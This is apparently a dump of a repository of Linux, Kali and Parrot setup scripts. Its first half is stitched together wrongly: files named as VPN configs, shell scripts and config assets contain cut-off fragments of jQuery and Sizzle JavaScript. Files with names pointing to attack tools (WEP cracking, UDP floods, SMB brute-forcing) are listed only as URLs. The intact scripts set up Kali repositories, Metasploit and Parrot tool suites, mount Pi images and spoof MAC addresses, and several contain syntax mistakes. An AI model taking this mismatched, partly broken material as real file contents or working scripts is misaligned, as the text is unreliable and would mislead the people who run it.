31 | };
32 | });
33 |
34 | // IE submit delegation
35 | if ( !jQuery.support.submitBubbles ) {
36 |
37 | jQuery.event.special.submit = {
38 | setup: function() {
39 | // Only need this for delegated form submit events
40 | if ( jQuery.nodeName( this, "form" ) ) {
41 | return false;
42 | }
43 |
44 | // Lazy-add a submit handler when a descendant form may potentially be submitted
45 | jQuery.event.add( this, "click._submit keypress._submit", function( e ) {
46 | // Node name check avoids a VML-related crash in IE (#9807)
47 | var elem = e.target,
48 | form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined;
49 | if ( form && !jQuery._data( form, "submitBubbles" ) ) {
50 | jQuery.event.add( form, "submit._submit", function( event ) {
51 | event._submit_bubble = true;
52 | });
53 | jQuery._data( form, "submitBubbles", true );
54 | }
55 | });
56 | // return undefined since we don't need an event listener
57 | },
58 |
59 | postDispatch: function( event ) {
60 | // If form was submitted by the user, bubble the event up the tree
61 | if ( event._submit_bubble ) {
62 | delete event._submit_bubble;
63 | if ( this.parentNode && !event.isTrigger ) {
64 | jQuery.event.simulate( "submit", this.parentNode, event, true );
65 | }
66 | }
67 | },
68 |
69 | teardown: function() {
70 | // Only need this for delegated form submit events
71 | if ( jQuery.nodeName( this, "form" ) ) {
72 | return false;
73 | }
74 |
75 | // Remove delegated handlers; cleanData eventually reaps submit handlers attached above
76 | jQuery.event.remove( this, "._submit" );
77 | }
78 | };
79 | }
80 |
81 | // IE change delegation and checkbox/radio fix
82 | if ( !jQuery.support.changeBubbles ) {
83 |
84 | jQuery.event.special.change = {
85 |
86 | setup: function() {
87 |
88 | if ( rformElems.test( this.nodeName ) ) {
89 | // IE doesn't fire chang
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/USA - Salt Lake City.ovpn:
--------------------------------------------------------------------------------
1 | (elem.type !== "radio" && elem.type !== "checkbox") ) {
2 | return event.handleObj.handler.apply( this, arguments );
3 | }
4 | },
5 |
6 | teardown: function() {
7 | jQuery.event.remove( this, "._change" );
8 |
9 | return !rformElems.test( this.nodeName );
10 | }
11 | };
12 | }
13 |
14 | // Create "bubbling" focus and blur events
15 | if ( !jQuery.support.focusinBubbles ) {
16 | jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) {
17 |
18 | // Attach a single capturing handler while someone wants focusin/focusout
19 | var attaches = 0,
20 | handler = function( event ) {
21 | jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true );
22 | };
23 |
24 | jQuery.event.special[ fix ] = {
25 | setup: function() {
26 | if ( attaches++ === 0 ) {
27 | document.addEventListener( orig, handler, true );
28 | }
29 | },
30 | teardown: function() {
31 | if ( --attaches === 0 ) {
32 | document.removeEventListener( orig, handler, true );
33 | }
34 | }
35 | };
36 | });
37 | }
38 |
39 | jQuery.fn.extend({
40 |
41 | on: function( types, selector, data, fn, /*INTERNAL*/ one ) {
42 | var type, origFn;
43 |
44 | // Types can be a map of types/handlers
45 | if ( typeof types === "object" ) {
46 | // ( types-Object, selector, data )
47 | if ( typeof selector !== "string" ) {
48 | // ( types-Object, data )
49 | data = data || selector;
50 | selector = undefined;
51 | }
52 | for ( type in types ) {
53 | this.on( type, selector, data, types[ type ], one );
54 | }
55 | return this;
56 | }
57 |
58 | if ( data == null && fn == null ) {
59 | // ( types, fn )
60 | fn = selector;
61 | data = selector = undefined;
62 | } else if ( fn == null ) {
63 | if ( typeof selector === "string" ) {
64 | // ( types, selector, fn )
65 | fn = data;
66 | data = undefined;
67 | } else {
68 | // ( types, data, fn )
69 | fn = data;
70 | data = selector;
71 | selector = undefined;
72 | }
73 | }
74 | if ( fn === false ) {
75 | fn = returnFalse;
76 | } else if ( !fn ) {
77 | return this;
78 | }
79 |
80 | if ( one === 1 ) {
81 | origFn = fn;
82 | fn = function( event ) {
83 | // Can use an empty set, since event contains the info
84 | jQuery().off( event );
85 | return origFn.apply( this, arguments );
86 | };
87 | // Use same guid so caller can remove using origFn
88 | fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
89 | }
90 | return this.each( function() {
91 | jQuery.event.add( this, types, fn, data, selector );
92 | });
93 | },
94 | one: function( types, selector, data, fn ) {
95 | return this.on( types, selector, data, fn, 1 );
96 | },
97 | off: function( types, selector, fn ) {
98 | var handleObj, type;
99 | if ( types && types.preventDefault && types.handleObj ) {
100 | // ( event ) dispatched jQuery.Event
101 | handleObj = types.handleObj;
102 | jQuery( ty
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/United Kingdom.ovpn:
--------------------------------------------------------------------------------
1 | (function( window, undefined ) {
2 |
3 | var i,
4 | cachedruns,
5 | Expr,
6 | getText,
7 | isXML,
8 | compile,
9 | hasDuplicate,
10 | outermostContext,
11 |
12 | // Local document vars
13 | setDocument,
14 | document,
15 | docElem,
16 | documentIsXML,
17 | rbuggyQSA,
18 | rbuggyMatches,
19 | matches,
20 | contains,
21 | sortOrder,
22 |
23 | // Instance-specific data
24 | expando = "sizzle" + -(new Date()),
25 | preferredDoc = window.document,
26 | support = {},
27 | dirruns = 0,
28 | done = 0,
29 | classCache = createCache(),
30 | tokenCache = createCache(),
31 | compilerCache = createCache(),
32 |
33 | // General-purpose constants
34 | strundefined = typeof undefined,
35 | MAX_NEGATIVE = 1 << 31,
36 |
37 | // Array methods
38 | arr = [],
39 | pop = arr.pop,
40 | push = arr.push,
41 | slice = arr.slice,
42 | // Use a stripped-down indexOf if we can't use a native one
43 | indexOf = arr.indexOf || function( elem ) {
44 | var i = 0,
45 | len = this.length;
46 | for ( ; i < len; i++ ) {
47 | if ( this[i] === elem ) {
48 | return i;
49 | }
50 | }
51 | return -1;
52 | },
53 |
54 |
55 | // Regular expressions
56 |
57 | // Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace
58 | whitespace = "[\\x20\\t\\r\\n\\f]",
59 | // http://www.w3.org/TR/css3-syntax/#characters
60 | characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
61 |
62 | // Loosely modeled on CSS identifier characters
63 | // An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors
64 | // Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
65 | identifier = characterEncoding.replace( "w", "w#" ),
66 |
67 | // Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors
68 | operators = "([*^$|!~]?=)",
69 | attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace +
70 | "*(?:" + operators + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]",
71 |
72 | // Prefer arguments quoted,
73 | // then not containing pseudos/brackets,
74 | // then attribute selectors/non-parenthetical expressions,
75 | // then anything else
76 | // These preferences are here to reduce the number of selectors
77 | // needing tokenize in the PSEUDO preFilter
78 | pseudos = ":(" + characterEncoding + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + attributes.replace( 3, 8 ) + ")*)|.*)\\)|)",
79 |
80 | // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
81 | rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
82 |
83 | rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
84 | rcombinators = new RegExp( "^" + whitespace + "*([\\x20\\t\\r\\n\\f>+~])" + whitespace + "*" ),
85 | rpseudo
--------------------------------------------------------------------------------
/oldies/live-build-scripts/test-run-kernel.sh:
--------------------------------------------------------------------------------
1 | le.contains = function( context, elem ) {
2 | // Set document vars if needed
3 | if ( ( context.ownerDocument || context ) !== document ) {
4 | setDocument( context );
5 | }
6 | return contains( context, elem );
7 | };
8 |
9 | Sizzle.attr = function( elem, name ) {
10 | var val;
11 |
12 | // Set document vars if needed
13 | if ( ( elem.ownerDocument || elem ) !== document ) {
14 | setDocument( elem );
15 | }
16 |
17 | if ( !documentIsXML ) {
18 | name = name.toLowerCase();
19 | }
20 | if ( (val = Expr.attrHandle[ name ]) ) {
21 | return val( elem );
22 | }
23 | if ( documentIsXML || support.attributes ) {
24 | return elem.getAttribute( name );
25 | }
26 | return ( (val = elem.getAttributeNode( name )) || elem.getAttribute( name ) ) && elem[ name ] === true ?
27 | name :
28 | val && val.specified ? val.value : null;
29 | };
30 |
31 | Sizzle.error = function( msg ) {
32 | throw new Error( "Syntax error, unrecognized expression: " + msg );
33 | };
34 |
35 | // Document sorting and removing duplicates
36 | Sizzle.uniqueSort = function( results ) {
37 | var elem,
38 | duplicates = [],
39 | i = 1,
40 | j = 0;
41 |
42 | // Unless we *know* we can detect duplicates, assume their presence
43 | hasDuplicate = !support.detectDuplicates;
44 | results.sort( sortOrder );
45 |
46 | if ( hasDuplicate ) {
47 | for ( ; (elem = results[i]); i++ ) {
48 | if ( elem === results[ i - 1 ] ) {
49 | j = duplicates.push( i );
50 | }
51 | }
52 | while ( j-- ) {
53 | results.splice( duplicates[ j ], 1 );
54 | }
55 | }
56 |
57 | return results;
58 | };
59 |
60 | function siblingCheck( a, b ) {
61 | var cur = b && a,
62 | diff = cur && ( ~b.sourceIndex || MAX_NEGATIVE ) - ( ~a.sourceInde
--------------------------------------------------------------------------------
/oldies/mac-scripts/brew-for-mac/install-homebrew-mac.sh:
--------------------------------------------------------------------------------
1 | === true;
2 | }
3 | } else {
4 | cache = outerCache[ dir ] = [ dirkey ];
5 | cache[1] = matcher( elem, context, xml ) || cachedruns;
6 | if ( cache[1] === true ) {
7 | return true;
8 | }
9 | }
10 | }
11 | }
12 | }
13 | };
14 | }
15 |
16 | function elementMatcher( matchers ) {
17 | return matchers.length > 1 ?
18 | function( elem, context, xml ) {
19 | var i = matchers.length;
20 | while ( i-- ) {
21 | if ( !matchers[i]( elem, context, xml ) ) {
22 | return false;
23 | }
24 | }
25 | return true;
26 | } :
27 | matchers[0];
28 | }
29 |
30 | function condense( unmatched, map, filter, context,
--------------------------------------------------------------------------------
/oldies/mac-scripts/mac-permissions-scripts/change-ownership:
--------------------------------------------------------------------------------
1 | elem ) > -1;
2 | }, implicitRelative, true ),
3 | matchers = [ function( elem, context, xml ) {
4 | return ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
5 | (checkContext = context).nodeType ?
6 | matchContext( elem, context, xml ) :
7 | matchAnyContext( elem, context, xml ) );
8 | } ];
9 |
10 | for ( ; i < len; i++ ) {
11 | if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
12 | matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
13 | } else {
14 | matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
15 |
16 | // Return special upon seeing a positional matcher
17 | if ( matcher[ expando ] ) {
18 | // Find the next relative operator (if any) for proper handling
19 | j = ++i;
20 | for ( ; j < len; j++ ) {
21 | if ( Expr.relative[ tokens[j].type ] ) {
22 | break;
23 | }
24 | }
25 | return setMatcher(
26 | i > 1 && elementMatcher( matchers ),
27 | i > 1 && toSelector( tokens.slice( 0, i - 1 ) ).replace( rtrim, "$1" ),
28 | matcher,
29 | i < j && matcherFromTokens( tokens.slice( i, j ) ),
30 | j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
31 | j < len && toSelector( tokens )
32 | );
33 | }
34 | matchers.push( matcher );
35 | }
36 | }
37 |
38 | return elementMatcher( matchers );
39 | }
40 |
41 | function matcherFromGroupMatchers( elementMatchers, setM
--------------------------------------------------------------------------------
/oldies/monitor-mode-scripts/solid-monitor:
--------------------------------------------------------------------------------
1 | superMatcher ) :
2 | superMatcher;
3 | }
4 |
5 | compile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) {
6 | var i,
7 | setMatchers = [],
8 | elementMatchers = [],
9 | cached = compilerCache[ selector + " " ];
10 |
11 | if ( !cached ) {
12 | // Generate a function of recursive functions that can be used to check each element
13 | if ( !group ) {
14 | group = tokenize( selector );
15 | }
16 | i = group.length;
17 | while ( i-- ) {
18 | cached = matcherFromTokens( group[i] );
19 | if ( cached[ expando ] ) {
20 | setMatchers.push( cached );
21 | } else {
22 | elementMatchers.push( cached );
23 | }
24 | }
25 |
26 | // Cache the compiled function
27 | cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
28 | }
29 | return cached;
30 | };
31 |
32 | function multipleContexts( selector, contexts, results ) {
33 | var i = 0,
34 | len = contexts.length;
35 | for ( ; i < len; i++ ) {
36 | Sizzle( selector, contexts[i], results );
37 | }
38 | return results;
39 | }
40 |
41 | function select( selector, context, results, seed ) {
42 | var i, tokens, token, type, find,
43 | match = tokenize( selector );
44 |
45 | if ( !seed ) {
46 | // Try to minimize operations if there is only one group
47 | if ( match.length === 1 ) {
48 |
49 | // Take a shortcut and set the context if the root selector is an ID
50 | tokens = match[0] = match[0].slice( 0 );
51 | if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
52 | context.nodeType === 9 && !documentIsXML &&
53 | Expr.relative[ tokens[1].type ] ) {
54 |
55 | context = Expr.find["ID"]( token.matches[0].replace( runescape, funescape ), context )[0];
56 | if ( !context ) {
57 | return results;
58 | }
59 |
60 | selector = selector.slice( tokens.shift().value.length );
61 | }
62 |
63 | // Fetch a seed set for right-to-left matching
64 | i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
65 | while ( i-- ) {
66 | token = tokens[i];
67 |
68 | // Abort if we hit a combinator
69 | if ( Expr.relative[ (type = token.type) ] ) {
70 | break;
71 | }
72 | if ( (find = Expr.find[ type ]) ) {
73 | // Search, expanding context for leading sibling combinators
74 | if ( (seed = find(
75 | token.mat
--------------------------------------------------------------------------------
/oldies/post-install-scripts/assets/NetworkManager-managed.conf:
--------------------------------------------------------------------------------
1 | l );
2 |
3 | if ( !runtil.test( name ) ) {
4 | selector = until
--------------------------------------------------------------------------------
/oldies/post-install-scripts/assets/add-apt-repository:
--------------------------------------------------------------------------------
1 | p.th = wrapMap.td;
2 |
3 | jQuery.fn.extend({
4 | text: function( value ) {
5 | return jQuery.access( this, function( value ) {
6 | return value === undefined ?
7 | jQuery.text( this ) :
8 | this.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) );
9 | }, null, value, arguments.length );
10 | },
11 |
12 | wrapAll: function( html ) {
13 | if ( jQuery.isFunction( html ) ) {
14 | return this.each(function(i) {
15 | jQuery(this).wrapAll( html.call(this, i) );
16 | });
17 | }
18 |
19 | if ( this[0] ) {
20 | // The elements to wrap the target around
21 | var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);
22 |
23 | if ( this[0].parentNode ) {
24 | wrap.insertBefore( this[0] );
25 | }
26 |
27 | wrap.map(function() {
28 | var elem = this;
29 |
30 | while ( elem.firstChild && elem.first
--------------------------------------------------------------------------------
/oldies/post-install-scripts/assets/htoprc:
--------------------------------------------------------------------------------
1 | oid leaking memory
2 | fragment = first = null;
3 | }
4 | }
5 |
6 | return this;
7 | }
8 | });
9 |
10 | function findOrAppend( elem, tag ) {
11 | return elem.getElementsByTagName( tag )[0] || elem.appendChild( elem.ownerDocument.createElement( tag ) );
12 | }
13 |
14 | // Replace/restore the type attribute of script elements for safe DOM manipulation
15 | function disableScript( elem ) {
16 | var attr = elem.getAttributeNode("type");
17 | elem.type = ( attr && attr.specified ) + "/" + elem.type;
18 | return elem;
19 | }
20 | function restoreScript( elem ) {
21 | var match = rscriptTypeMasked.exec( elem.type );
22 | if ( match ) {
23 | elem.type = match[1];
24 | } else {
25 | elem.removeAttribute("type");
26 | }
27 | return elem;
28 | }
29 |
30 | // Mark scripts as having already be
--------------------------------------------------------------------------------
/oldies/post-install-scripts/assets/sources.list:
--------------------------------------------------------------------------------
1 |
2 | var elems,
3 | i = 0,
4 | ret = [],
5 | insert = jQuery( selector ),
6 | last = insert.length - 1;
7 |
8 | for ( ; i <= last; i++ ) {
9 | elems = i === last ? this : this.clone(true);
10 | jQuery( insert[i] )[ original ]( elems );
11 |
12 | // Modern browsers can apply jQuery collections as arrays, but oldIE needs a .get()
13 | core_push.apply( ret, elems.get() );
14 | }
15 |
16 | return this.pushStack( ret );
17 | };
18 | });
19 |
20 | function getAll( context, tag ) {
21 | var elems, elem,
22 | i = 0,
23 | found = typeof context.getElementsByTagName !== core_strundefined ? context.getElementsByTagName( tag || "*" ) :
24 | typeof context.querySelectorAll !== core_strundefined ? context.querySelectorAll( tag || "*
--------------------------------------------------------------------------------
/oldies/post-install-scripts/install-parrot-tools:
--------------------------------------------------------------------------------
1 | ly add leading whitespace removed by IE
2 | if ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {
3 | nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[0] ) );
4 | }
5 |
6 | // Remove IE's autoinserted from table fragments
7 | if ( !jQuery.support.tbody ) {
8 |
9 | // String was a , *may* have spurious
10 | ele
--------------------------------------------------------------------------------
/oldies/post-install-scripts/post-install:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/post-install-scripts/post-install
--------------------------------------------------------------------------------
/oldies/rock.sh:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/rock.sh
--------------------------------------------------------------------------------
/oldies/search-and-destroy-scripts/udpflood-kill-user.pl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/search-and-destroy-scripts/udpflood-kill-user.pl
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/crackwep.pl:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/crackwep.pl
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/ettercap-wireshark-run:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/ettercap-wireshark-run
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/nmap-DNS-brute-force:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-DNS-brute-force
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/nmap-find-hosts-on-ip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-find-hosts-on-ip
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/nmap-http-recon:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-http-recon
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/nmap-http-title:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-http-title
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/nmap-ms-windows-network-recon:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-ms-windows-network-recon
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/nmap-smb-brute:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-smb-brute
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/nmap-superscript:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-superscript
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/nmap-traceroute-geolocation:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/nmap-traceroute-geolocation
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/setup-wifite-and-reaver:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/setup-wifite-and-reaver
--------------------------------------------------------------------------------
/oldies/sniffer-scripts/solid-capture:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/sniffer-scripts/solid-capture
--------------------------------------------------------------------------------
/oldies/ssh-scripts/banner/issue.net:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/ssh-scripts/banner/issue.net
--------------------------------------------------------------------------------
/oldies/ssh-scripts/banner/motd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/ssh-scripts/banner/motd
--------------------------------------------------------------------------------
/oldies/ssh-scripts/setup-banner:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/ssh-scripts/setup-banner
--------------------------------------------------------------------------------
/oldies/troubleshooting-network-issues/bounce-interface:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/troubleshooting-network-issues/bounce-interface
--------------------------------------------------------------------------------
/oldies/troubleshooting-network-issues/fix-sierra-mobile-ubunut:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/solidOptionOS/solid-scripts/e21557a93d4177d01e70582dbbfbfd34f4d6a840/oldies/troubleshooting-network-issues/fix-sierra-mobile-ubunut
--------------------------------------------------------------------------------
/oldies/troubleshooting-network-issues/forceWifi:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/oldies/troubleshooting-network-issues/restart-network:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/oldies/update-kernel-armhf:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/post-install-scripts/assets/NetworkManager-managed.conf:
--------------------------------------------------------------------------------
1 | [main]
2 | plugins=ifupdown,keyfile
3 |
4 | [ifupdown]
5 | managed=true
6 |
--------------------------------------------------------------------------------
/post-install-scripts/assets/add-apt-repository:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | if [ $# -eq 1 ]
3 | NM=`uname -a && date`
4 | NAME=`echo $NM | md5sum | cut -f1 -d" "`
5 | then
6 | ppa_name=`echo "$1" | cut -d":" -f2 -s`
7 | if [ -z "$ppa_name" ]
8 | then
9 | echo "PPA name not found"
10 | echo "Utility to add PPA repositories in your debian machine"
11 | echo "$0 ppa:user/ppa-name"
12 | else
13 | echo "$ppa_name"
14 | echo "deb http://ppa.launchpad.net/$ppa_name/ubuntu oneiric main " >> /etc/apt/sources.list
15 | apt-get update >> /dev/null 2> /tmp/${NAME}_apt_add_key.txt
16 | key=`cat /tmp/${NAME}_apt_add_key.txt | cut -d":" -f6 | cut -d" " -f3`
17 | apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $key
18 | rm -rf /tmp/${NAME}_apt_add_key.txt
19 | fi
20 | else
21 | echo "Utility to add PPA repositories in your debian machine"
22 | echo "$0 ppa:user/ppa-name"
23 | fi
24 |
--------------------------------------------------------------------------------
/post-install-scripts/assets/htoprc:
--------------------------------------------------------------------------------
1 | # Beware! This file is rewritten by htop when settings are changed in the interface.
2 | # The parser is also very primitive, and not human-friendly.
3 | fields=0 48 17 18 38 39 40 2 46 47 49 1
4 | sort_key=46
5 | sort_direction=1
6 | hide_threads=0
7 | hide_kernel_threads=1
8 | hide_userland_threads=0
9 | shadow_other_users=0
10 | show_thread_names=0
11 | highlight_base_name=0
12 | highlight_megabytes=1
13 | highlight_threads=0
14 | tree_view=1
15 | header_margin=1
16 | detailed_cpu_time=0
17 | cpu_count_from_zero=0
18 | update_process_names=0
19 | account_guest_in_cpu_meter=0
20 | color_scheme=0
21 | delay=15
22 | left_meters=AllCPUs Memory Memory Swap
23 | left_meter_modes=1 1 2 1
24 | right_meters=Battery Blank Tasks LoadAverage Uptime Clock
25 | right_meter_modes=1 2 2 2 2 4
26 |
--------------------------------------------------------------------------------
/post-install-scripts/assets/sources.list:
--------------------------------------------------------------------------------
1 | # Kali-Rolling Repos
2 | deb http://http.kali.org/kali kali-rolling main contrib non-free
3 | deb-src http://http.kali.org/kali kali-rolling main contrib non-free
4 |
5 | # Kali Dev Repos
6 | deb http://http.kali.org/kali kali-dev main contrib non-free
7 | deb-src http://repo.kali.org/kali kali-dev main contrib non-free
8 |
9 | # Kali Bleeding-Edge Repos
10 | deb http://http.kali.org/kali kali-bleeding-edge main contrib non-free
11 | deb-src http://http.kali.org/kali kali-bleeding-edge main contrib non-free
12 |
13 | # X-Swat Repo - graphics drivers
14 | deb http://ppa.launchpad.net/ubuntu-x-swat/x-updates/ubuntu oneiric main
15 |
16 | # Themes Repo
17 | deb http://ppa.launchpad.net/noobslab/themes/ubuntu oneiric main
18 |
19 |
--------------------------------------------------------------------------------
/post-install-scripts/initialize-metasploit:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Starting postgresql.."
4 | sudo /etc/init.d/postgresql start"
5 | echo ""
6 | echo "Complete"
7 | echo ""
8 | echo "Setting up the database.."
9 | echo ""
10 | sudo msfdb init
11 |
12 |
--------------------------------------------------------------------------------
/post-install-scripts/install-parrot-tools:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | sudo apt-get install parrot-tools-full
3 | sudo apt-get install parrot-tools-arm
4 | sudo apt-get install parrot-tools-cloud
5 | sudo apt-get install parrot-meta-forensic
6 | sudo apt-get install parrot-meta-gpu
7 | sudo apt-get install parrot-meta-pwtwools
8 | sudo apt-get install parrot-meta-rfid
9 | sudo apt-get install parrot-meta-sdr parrot-meta-voip parrot-meta-web parrot-meta-wireless
10 |
--------------------------------------------------------------------------------
/radxa-rock/update-kernel-armhf:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | git://git.launchpad.net/~ubuntu-kernel-test/ubuntu/+source/linux/+git/mainline-crack v4.1
3 |
4 |
5 | #sudo apt-get -y install bc curl gcc git libncurses5-dev lzop make u-boot-tools
6 | #git clone https://github.com/offensive-security/kali-arm-build-scripts
7 | #cd kali-arm-build-scripts
8 | #./build-deps.sh
9 | #./rock_pro/scripts/getTools.sh
10 | #./createNandImg.sh
11 | #./rock_pro/scripts/flashNandImg.sh
12 |
13 | # curl -sSL https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.7.5.tar.xz | unxz | tar -xvf -
14 |
--------------------------------------------------------------------------------
/raspberry-pi/mount-rpi-image:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 | # Usage: sudo ./mount-raspbian-image
4 | #
5 |
6 | if [ -z "$1" ]
7 | then
8 | echo "Usage: sudo ./mount-raspbian-image "
9 | exit
10 | fi
11 |
12 | IMG=$1
13 |
14 | # Capture the patition details.
15 | BOOT_PARTITION=`fdisk -l "$IMG" | grep "c W95 FAT32 (LBA)"`
16 | ROOT_PARTITION=`fdisk -l "$IMG" | grep "83 Linux"`
17 |
18 | # Grab the starting sector of the partitions.
19 | BOOT_START_SECTOR=`echo "$BOOT_PARTITION" | awk '{print $2}'`
20 | ROOT_START_SECTOR=`echo "$ROOT_PARTITION" | awk '{print $2}'`
21 |
22 | # Calculate the start byte of the partitions.
23 | ((BOOT_START_BYTE=$BOOT_START_SECTOR * 512))
24 | ((ROOT_START_BYTE=$ROOT_START_SECTOR * 512))
25 |
26 | # Grab the sector length of the partitions.
27 | BOOT_SECTOR_LENGTH=`echo "$BOOT_PARTITION" | awk '{print $4}'`
28 | ROOT_SECTOR_LENGTH=`echo "$ROOT_PARTITION" | awk '{print $4}'`
29 |
30 | # Calculate the byte length of the partitions.
31 | ((BOOT_BYTE_LENGTH=$BOOT_SECTOR_LENGTH * 512))
32 | ((ROOT_BYTE_LENGTH=$ROOT_SECTOR_LENGTH * 512))
33 |
34 | # Create the mount points.
35 | sudo mkdir -p /mnt/image/boot
36 | sudo mkdir -p /mnt/image/root
37 |
38 | # Mount the partitions to the mount points.
39 | mount -v -o offset=$BOOT_START_BYTE,sizelimit=$BOOT_BYTE_LENGTH -t vfat "$IMG" /mnt/image/boot
40 | mount -v -o offset=$ROOT_START_BYTE,sizelimit=$ROOT_BYTE_LENGTH -t ext4 "$IMG" /mnt/image/root
41 |
--------------------------------------------------------------------------------
/raspberry-pi/start-kali:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | ## start networking after boot - RUN MANUALLY...for now.
4 |
5 | # cycling netwoking, networkmanaer services and protocols
6 | /etc/init.d/networking stop && /etc/init.d/network-manager stop && /etc/init.d/networking start && systemctl start networking && /etc/init.d/network-manager start && /etc/init.d/resolv restart && /etc/init.d/resolv force-reload
7 |
8 | # boucing interfaces
9 | echo "bounching interfaces, anonyomizing mac addresses, and increaoing the txpower... "
10 | echo ""
11 | ifconfig eth0 down
12 | ifconfig eth0 up
13 |
14 | ifconfig wlan0 down
15 | iwconfig wlan0 txpower 3000
16 | macchanger -bra wlan0
